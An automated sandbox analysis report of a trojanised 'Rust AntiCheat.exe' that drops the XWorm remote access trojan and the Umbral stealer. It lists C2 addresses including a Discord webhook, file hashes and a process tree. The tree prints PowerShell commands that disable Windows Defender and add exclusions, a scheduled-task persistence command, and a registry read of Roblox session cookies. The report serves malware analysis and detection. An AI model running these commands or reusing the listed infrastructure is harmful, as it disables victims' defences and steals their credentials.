Analysis

  • max time kernel
    45s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07-09-2024 15:34

Errors

Reason
Machine shutdown

General

  • Target

    Rust AntiCheat.exe

  • Size

    1.1MB

  • MD5

    9b044bfee63da32d66539cd56741e2d7

  • SHA1

    22b313baac54ea88cb581347d7226073033cb64c

  • SHA256

    3acef42e6894019c44addea96a3ef2048b7b0f902b805c2e8d093db549091297

  • SHA512

    f0cf4ef7516a7227a92ad9e098661f2683e07418cce2473851eaa6deb3c1db4859d9ce50f1615288e28c668b69fefb9ba1c2069dc2fe84c54a97616cf7ba7876

  • SSDEEP

    24576:7cM0t9RyT52bxGzz9qshXGFh9jvTXZbX5y4h1ptssmnt:ArRyT529KXgh9btbXJbGsmt

Malware Config

Extracted

Family

xworm

C2

expected-schema.gl.at.ply.gg:2980

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

Extracted

Family

umbral

C2

https://ptb.discord.com/api/webhooks/1271826116721639445/0LTa3NkwRKKJuRNql7cAkLRG6HVFF6qerOeff_MVz-9g28SPb06nhaG45QDZdp1IGvu2

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Rust AntiCheat.exe
    "C:\Users\Admin\AppData\Local\Temp\Rust AntiCheat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2532
    • C:\Users\Admin\AppData\Local\Loader (1).exe
      "C:\Users\Admin\AppData\Local\Loader (1).exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1936
    • C:\Users\Admin\AppData\Local\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Local\RuntimeBroker.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2928
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:440
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1692
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:352
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\RuntimeBroker"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2036
      • C:\Windows\system32\shutdown.exe
        shutdown.exe /f /s /t 0
        3⤵
          PID:1384
      • C:\Users\Admin\AppData\Local\Umbral.exe
        "C:\Users\Admin\AppData\Local\Umbral.exe"
        2⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2492
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2572
        • C:\Windows\system32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Umbral.exe"
          3⤵
          • Views/modifies file attributes
          PID:1272
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Umbral.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2364
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2936
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1156
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2132
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2020
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          3⤵
            PID:1056
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
              PID:2456
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1600
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              3⤵
              • Detects videocard installed
              PID:1952
            • C:\Windows\system32\cmd.exe
              "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Umbral.exe" && pause
              3⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:2684
              • C:\Windows\system32\PING.EXE
                ping localhost
                4⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:1080
        • C:\Windows\system32\LogonUI.exe
          "LogonUI.exe" /flags:0x0
          1⤵
            PID:2948
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x1
            1⤵
              PID:2360

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Loader (1).exe

              Filesize

              827KB

              MD5

              eefb801774c5ccb44153268a9357f5f1

              SHA1

              b1906b22e14edd142c52808ab3e5ba9346b85de5

              SHA256

              677aeb1981c58cba41a5d53ccbbf5b471e62dc49dc326570767da940560d840d

              SHA512

              1cf162fe6184d68dca514059d2de1123e80d0faac401765a54224aa5a987c9454bc92263fbec566835aa7b402f1f63ba59bb425ccc139e0a7391e66991f270b7

            • C:\Users\Admin\AppData\Local\RuntimeBroker.exe

              Filesize

              90KB

              MD5

              79fef04d806d7916fa1bf6d30358d4de

              SHA1

              2afb944edcf58c6594c734fbe0c8416b6bc1f447

              SHA256

              76f2d446e7fc3631f352180c201de9eb139d1acf3daf5dd63fe69502fa253bf1

              SHA512

              897021db19492ed9cf5ae3d68d840af1f68cf8836b1e5935485e42e569ecf8c95c85fe50b9e25ab13275209ed112906d06ef03a83502a0fa5904e60d3c3dad1e

            • C:\Users\Admin\AppData\Local\Umbral.exe

              Filesize

              231KB

              MD5

              2986f5be729cdf63ccb15a204a46d31b

              SHA1

              a7a733787f7aa226153d4ff693349cd88fc4a96f

              SHA256

              9242c3d80edfd477acaac2f7037d8fe77395b31c0c923cd65309df09ce2c8403

              SHA512

              edbb2cb4731d59e92ccf781d25569efa1a9ecd1df116860673898606d5e208e6c39fd8ab2066c902c542bdd61acc6c204eabad30a0d3f1ead82973005cc037f5

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

              Filesize

              7KB

              MD5

              430bee5963cf91f74787e390e070a8cd

              SHA1

              088872ea255866da94f65b73ace78ea49bdfdd90

              SHA256

              8d89246509d5823ec2f1202a110f00e98b5d6a5fc29a4e80c46a50f6d5df7024

              SHA512

              a5d0bc70ef4c7c8b0da919fbfcb7f1deaf7fc0a032ceeffe8ea4b9e52e88d455c9f3c90958cbb26a449d6d2eb6a2fe8926a46f4ad7cb5a824690ad7647b85ec0

            • memory/1936-23-0x00000000004A0000-0x00000000004AA000-memory.dmp

              Filesize

              40KB

            • memory/1936-89-0x00000000004A0000-0x00000000004AA000-memory.dmp

              Filesize

              40KB

            • memory/1936-22-0x00000000004A0000-0x00000000004AA000-memory.dmp

              Filesize

              40KB

            • memory/1936-20-0x0000000001250000-0x0000000001326000-memory.dmp

              Filesize

              856KB

            • memory/2364-30-0x0000000002960000-0x0000000002968000-memory.dmp

              Filesize

              32KB

            • memory/2364-29-0x000000001B450000-0x000000001B732000-memory.dmp

              Filesize

              2.9MB

            • memory/2492-19-0x0000000001030000-0x0000000001070000-memory.dmp

              Filesize

              256KB

            • memory/2532-0-0x000007FEF5DC3000-0x000007FEF5DC4000-memory.dmp

              Filesize

              4KB

            • memory/2532-1-0x0000000000DD0000-0x0000000000EF8000-memory.dmp

              Filesize

              1.2MB

            • memory/2928-21-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

              Filesize

              9.9MB

            • memory/2928-16-0x0000000000D50000-0x0000000000D6C000-memory.dmp

              Filesize

              112KB

            • memory/2928-74-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

              Filesize

              9.9MB

            • memory/2928-92-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

              Filesize

              9.9MB

            • memory/2936-37-0x00000000026D0000-0x00000000026D8000-memory.dmp

              Filesize

              32KB

            • memory/2936-36-0x000000001B580000-0x000000001B862000-memory.dmp

              Filesize

              2.9MB